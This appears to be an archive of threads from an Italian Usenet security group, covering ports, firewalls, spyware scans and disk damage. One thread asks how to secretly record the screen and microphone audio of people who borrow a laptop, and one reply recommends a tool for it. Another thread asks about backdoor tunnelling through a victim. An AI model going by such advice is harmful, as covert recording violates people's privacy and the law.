Posted via Mailgate.ORG Server - 
http://www.Mailgate.ORG

 ci sei e vai tra. 
e perchè me lo scrivi a me ?!? :)
Lezioni di quoting urgentemente:
http://digilander.libero.it/ifst/html/Quoting.html


 di solito utilizzano delle chiavi hardware
Ma chi?
La maggior parte usa un certificato e una ulteriore password 
dispositiva, altri solo una password di accesso e una dispositiva.

 software per sapere cosa ci fann col pc quando non ci sei e vai tra.
Si, aggiungiamo anche un elmetto, un ombrello, un preservativo, un paio 
di scarpe antinfortunistiche, una tuta ignifuga e qualche altra cosa a 
caso che serva a proteggere da qualcosa a caso (tanto male non fa).
Newsgroup: it.comp.sicurezza.varie
Titolo: DOMANDA PORTA 135 NETBIOS!(ESPERTI)

Salve a tutti ragazzi vi scrivo perchè dopo aver chiuso accuratamente le mie
porte e in attesa di installare un personal firewall tra i vari che sto
testando mi è sorto un dubbio:io ho chiuso la porta 139 del netbios
escludendo il servizio di binding in modo tale da non permettere sessioni
netbios su TCP/IP ma mi è rimasta aperta la 135 che corrisponde al "Netbios
remote procedure control" e quindi volevo sapere se è altrettanto pericolosa
come la 139 e per quale motivo non è stata chiusa e come sia possibile
chiuderla senza l'utilizzo di un firewall e realmente in cosa si differenzia
dalla 139.
GRAZIE A TUTTI!
-- 
Posted from 
HA-server-a.cs.interbusiness.it
 [151.99.250.31] 
via Mailgate.ORG Server - 
http://www.Mailgate.ORG

netbios su TCP/IP ma mi è rimasta aperta la 135 
Dovrebbe essere RPCSS.EXE a tenere aperta quella porta. 
Puoi impedirlo  aprendo il registro con Regedit e cambiando da Y a N
il valore di "EnableRemoteConnect"="Y"
nella chiave HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE. 
Lapalissiano
Icq 57269703

Newsgroup: it.comp.sicurezza.varie
Titolo: Was > SPP Smentite !! Coraggio !!

Un grazie sentito a Master, considero la tua risposta molto
completa e civile e volevo quindi ringraziarti. :-))
Avrei un quesito:
Esiste secondo voi la possibilita di creare una backdoor che
crei un "effetto tunnell" tra voi , colui che ha la backdoor e
un terzo ipotetico bersaglio?
In altre parole il bersaglio in questo modo vedrebbe dei log dal
tunnell.
Pace Surak
Ps
Surak é il creatore della filosofia vulcaniana, il babbo di
Spock é Sarek ;-)
Pss
Avete idea da dove posto ? :-)
--
Posted from 
anon.lcs.mit.edu
 [18.26.0.254]
via Mailgate.ORG Server - 
http://www.mailgate.org

 tunnell.
BackOrifice ha un comando del genere,ma ti sconsiglio di usarlo se non
per prove.
Per esperienza diretta non è affidabilissimo e un tcpdump può svelare
l'inganno.
            Giulio


 si .. io direi anche, parafrasando colui che fece vedere a mio nonno i
sorci verdi prima di vedere a Milano il mondo da una prospettiva rovesciata
:
   " E' la spada che backorifice che offende, ma e' il suo aratro-redirector
che lascia il solco! "

Avete idea da dove posto ? :-)
dall'Italia? ;-)
[attento che gia abbiamo escluso il resto del mondo. il cerchio si
stringe...hehehe]
-----------
PPT-K (IT)
-----------

Avete idea da dove posto ? :-)
Surak... Surak... la risposta piu' ovvia dovrebbe essere l'Accademia a
ShiKahr, su Vulcano.
Altrimenti... su ottomila comuni... ho piu' probabilita' di azzeccarci
che di vincere al Superenalotto. Costa anche meno: e' un affare! Io ci
provo. Da 15 a 50 km. da Alessandria; probabilmente, in direzione sud;
da un POP di Italia On Line.
Ah, l'anno 1999, sette mesi, verra' dal cielo un gran re di terrore...
Leonardo gia' che c'era
".signature": bad command or file name

Quando verra' spaccato il settimo sigillo, io saro' a Cuba .. e non me ne
potra' fregar di meno.
   Cavalcatrici .. a me!  ;-)  ( -E' mio- Pirelli permettendo)
Newsgroup: it.comp.sicurezza.varie
Titolo: Spyware negli S.O. ?

PRE- Spedisco questo via browser : voglio sperare mi sia uscito in formato 
solo testo, se non è cosi vi prego di scusarmi ma sono molto di fretta.
Ci tenevo ad avere qualche vostra opinione su un fatto che ho constatato da 
poco e che passo ora ad esporvi :
".. Nel presente pc, previa eliminazione delle partizioni DOS e successiva 
formattazione
è stato installato:
1- Windows NT 4.0 Workstation / Service Pack 1 (solo il CD base)
2- Ad-aware 4.0
Ad-aware 4.0 (
www.lavasoftware.de
)
è un software anti-spyware, possiede 4 opzioni principali:
Scan memory  ----->   X
Scan registry
Scan boot drive
Scan all fixed drives
Selezionando e avviando l'opzione 'Scan memory'
Ad.aware rileva:
   ENTRY: 1/1
   ITEM:  MODULE
   TYPE:  AUREATE
fallisce tuttavia nel cleaning...
Potrebbe trattarsi di un falso allarme se non fosse per il seguente fatto:
Se si tenta di installare Trend Pc-cillin 7 da CD sul presente pc accade 
che:
parte il setup, Pc-cillin avvia da CD la pre-scansione del sistema prima di 
procedere all'installazione,
dal setup appare una finestra d'allarme di: "Rilevata scansione in corso",
il setup viene interrotto e l'installazione annullata...
NOTA: Adaware riesce a rilevare questo spyware solo se viene eseguito subito 
dopo essere stato
installato, se dopo averlo installato si riavvia il pc senza averlo 
lanciato, successivamente
Adaware non sara' piu' in grado di rilevare lo Spyware...
Il seguente è il testo del log-file di Ad-aware:
_______________________________________________________
Logfile generated on 2/14/01 at 12:04:15 AM
Scan initialized..
Started memory scan.
====================
Modules found:
0 :
Total modules found : 1
Suspicious modules found : 1
Started registry scan.
===================
Suspicious keys found : 0
Started folder scan.
==================
Suspicious folders found : 0
Started file examination.
=========================
Suspicious files found : 0
Scan complete.
Total spyware references found on this system:1
..."
_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at 
http://www.hotmail.com
.
-- 
Posted from [195.62.167.18] by way of 
f181.law12.hotmail.com
 [64.4.19.181] 
via Mailgate.ORG Server - 
http://www.Mailgate.ORG

 č un software anti-spyware, possiede 4 opzioni principali:
Aggiorna alla 4.51
--
Fabio
cinqua...@libero.it


Fatto !
Nel frattempo vorrei chiederti :
- ritieni che il tutto possa essere un falso allarme ?
- se si, hai qualche opinione in merito ?
Cordialmente
Kamaludu

 Ad-aware 4.0 (
www.lavasoftware.de
)
www.lavasoft.de
Bye Krmel
--
Vuoi guadagnare con la rete? Impara a pescare...
Microsoft Outlook Express: cosa vuoi postare postare postare postare
oggi?

 - se si, hai qualche opinione in merito ?
No.
ciao.
--
Fabio
cinqua...@libero.it
Newsgroup: it.comp.sicurezza.varie
Titolo: Software per controllare il mio computer

Poiché presto spesso il mio pc portatile ad amici, colleghi ecc., vorrei 
mettere un software che registra tutto quello che viene fatto, così da 
poter sapere per che cosa viene usato il computer.
Sto cercando un programma che registra tutto quello che viene 
visualizzato dallo schermo sotto forma di file video e, inoltre, l'audio 
esterno al computer, cioè le conversazioni di chi lo sta usando  (il mio 
pc è dotato di microfono integrato).
Esiste un programma che fa queste cose (magari open source o freeware)?
Se no che cosa mi consigliate di usare?

 freeware)? 
Forse esisterà, comunque non è legale.
-- 
Bye, Yorgos
To send me an e-mail, please change anthzùya with alice


Perché no? Il computer è mio, non metto software spia nel computer di 
qualcun altro.

 qualcun altro.
Se io ti chiedo in prestito il telefono non credo che tu abbia il 
diritto di ascoltare o registrare la telefonata.
E i tuoi "amici, colleghi" sarebbero al corrente di questi controlli?
gc :-)

 qualcun altro.
Bene. 
Quindi tu ritieni di poter mettere delle videocamere nel tuo bagno, così 
i tuoi ospiti possono essere osservati se ci vanno?


 qualcun altro.
Ricordo, un miliardo di anni fa, un certo sysop di una delle tante reti
"alla fidonet": aveva l'abitudine di leggere la posta privata che
transitasse dal suo nodo, e si lamentava pubblicamente quando gli utenti
usavano il pgp.
L'archetipo delle facce di bronzo! :)
saluti indiscreti
-- 
L'unico testo di sincerità nelle scuole è la parete delle latrine:
http://www.nereovilla.it/papini-chiudiamo_le_scuole.pdf

neq00 ha scritto:

Si chiamano intercettazioni ambientali.
E già non si possono fare a casa propria, pensa che a casa degli altri
anche i carabinieri debbono chiedere il permesso al magistrato.[*]
[*] In realtà è il contrario, l'inquirente dispone l'intercettazione.
-- 
           |Save our planet!
    Ciao   |Save wildlife!
   roberto |For your E-MAIL use ONLY recycled Bytes  !!
           |roberto poggi   
rpo...@softhome.net

 
Un conto è spiare le persone nella loro intimità, un altro è controllare 
come vengono usate le proprie cose.



Ok ok, ho capito, non si può fare. :(
Grazie lo stesso!

 come vengono usate le proprie cose.
Beh, e se ti sporcano la tazza?
saluti igienici


 Se no che cosa mi consigliate di usare?
http://camstudio.org/
permette di registrare anche in xvid (il codec va installato a parte).
Non so per l'audio
ciao



anni indietro testai  (poi non ne feci niente) "Pal computer
surveillance", c'era anche una versione gratuita; in pratica  creava
degli screenshot ogni tot secondi...tutto qua niente video ne' audio.
ciao
Il GIlbe



L'ho provato: funziona senza problemi e registra anche l'audio da 
microfono.
Grazie mille
:D


sbaglierò... ma se i tuoi "amici, colleghi" ti scoprono oltre a 
rischiare tu una mano di mazzolate ( giustamente) rischi anche tutta una 
sserie di casini legali.....
-- 
divide et impera!

 qualcun altro.
Però il cervello pieno di merda è il tuo, se proprio non vuoi 
liberartene è un tuo diritto.

 usavano il pgp.
8-o
-- 
???
Newsgroup: it.comp.sicurezza.varie
Titolo: SnortUpdate per IPCop 1.3

Ciao,
dal sito firewalladdons e' stato rimosso lo script SnortUpdate per un 
conflitto di diritti su di esso.
Per caso qualcuno ce l'ha?
Ciao
Luca
-- 
Luca Sasdelli
Microsoft MVP - Security, Networking, Windows NT/2000/XP
http://mvp.support.microsoft.com
IDRCI Italia - 
http://www.idrci.it
 - 
http://forum.idrci.it
CHX-I, CHX-I NAT Stateful Packet Filter

> Per caso qualcuno ce l'ha?
si

 si
Puoi inviarmelo per email a luca chiocciola sasdelli punto it?
Grazie

Newsgroup: it.comp.sicurezza.varie
Titolo: Aggiornamento Zone Alarm

Un paio di giorni fa ho ricevuto l'avviso per scaricare un
aggiornamento di Zone Alarm.
Fatto e installato, è scomparsa l'icona di ZA e ogni collegamento a
Internet è impossibile.
Varie prove di disinstallazione e installazione, ma inutili.
A questo punto ho installato momentaneamente Outpost.
Qualcuno ha avuto il mio stesso problema?
SO: Windows 2000 professional aggiornato.
--
Bye, Yorgos
To send me an e-mail, please change occupied with libero


E' successo a molti,me compreso:se guardi su it.comp.sicurezza.virus,vedrai 
quante ne ha combinate,l'ultimo update!A me e'  andata bene,dovo vari 
tentavivi di disinstallazione(si piantava il pc con xp),ci sono riuscito,ed 
ho reinstallato,tutta nuova anche come settaggi,la versione precedente,che 
avevo ancora di scorta.ciao. 

quante ne ha combinate,l'ultimo update!
Infatti ho trovato la notizia funesta anche sull'altro NG!
Curiosando in Internet, ho scoperto un altro firewall che con mi
sembra affatto male: 
www.comodo.com
Outpost ho dovuto toglierlo perché mi genera un errore nel registro
degli eventi.


Newsgroup: it.comp.sicurezza.varie
Titolo: DES

implementano il des o altri tipi di algoritmi per la criptografia?
Implementati in che linguaggio?
Io ho una mia implementazione C++ dell' RSA, niente di speciale, l'ho fatta
per un' esame....
Ciao Gianni.
-- 
Posted from 
c000-h010.c000.muc.cp.net
 [209.228.29.34] 
via Mailgate.ORG Server - 
http://www.Mailgate.ORG

 implementano il des o altri tipi di algoritmi per la criptografia?
Una libreria che si chiama libmcrypt, ne implementa diversi. Cercala su
freshmeat
bye
Gianluca
Newsgroup: it.comp.sicurezza.varie
Titolo: HELP !!! Virus non c'è più Fdisk !!!!

Salve...
è successo che ho trovato tre dischi completamente "piallati" senza
neanche la partizione fdisk !!!!!
C'è nessuno che può aiutarmi ?!
Magari oltre che qui scrivetemi anche su 
XXXsim...@lycosmail.com
Veramente importante ... è mai capitato a nessuno ?!
E' possibile che con un disk editor si riesca a ricostruire l'fdisk
?!?!
Help HELP Help HELP !!!!
Ciao 
Primo ...

 neanche la partizione fdisk !!!!!
Hai preso il CIH??????? (ultima variante: Chernobyl)
Quindi Fdisk non dice niente?
-- 
Emma for President: 
http://www.emmaforpresident.it/
--ICQ: 14816698---Campagna NOTUT: 
http://www.notut.cjb.net-----
Home Pages: 
http://www.agora.stm.it/M.Baldinelli/home.htm
 
http://www.tifonet.it/free/ancona/index.html
 
M.Bald...@agora.stm.it
---------------------------------------------------------------




Newsgroup: it.comp.sicurezza.varie
Titolo: per Leonardo Serni

ciao....scusa se ti disturbo ma visto che sei cosě gentile da rispondere a
molta gente forse risponderai anche a me.....
scusa la domanda ignorante ma ...č possibile vedere, magari  cliccando da
qualche parte, se ci sono porte aperte nel mio pc? grazie,
valentina

qualche parte, se ci sono porte aperte nel mio pc? grazie,
Devi aprire una finestra dos e digitare il comando  netstat -na (devi
farlo quando non sei connessa a internet)
Dopo averlo fatto troverai  (quasi) tutte le risposte qui:
http://members.nbci.com/gouldukat
Lapalissiano
Icq 57269703

Newsgroup: it.comp.sicurezza.varie
Titolo: Post inutile

Dopo aver visto:
http://iplogd.sourceforge.net/en/
ho capito che questo:
drwxr-x--x    3 lserni   users        4096 Sep  2  2000 lserni
e' lui.
hola
Buttha



Probabile, infatti. Non mi spiego quel "3", pero'. Ci dovrebbe essere
una directory "rumenta", oltre a public_html. Mica me l'avranno fatta
fuori?
Indaghero'... dovrei avere ancora la password, da qualche parte...
Leonardo
-- 
"Open Source programs are designed and developed.
 Our products are tested."
 Steve Lipner, manager, Microsoft Security Response Center

fuori?
Quella e' la tua home, non la directory http.
buttha@usw-pr-shell2:/home/users$ ls /home/groups/i/ip/ -l | grep
iplogd
drwxrwsr-x    5 dummy    iplogd       4096 Aug 24  2000 iplogd
hola
Buttha

Quella e' la tua home, non la directory http.
Ah, ora mi spiego ogni cosa. Li' c'e' solo "rumenta". Tutto torna :-)
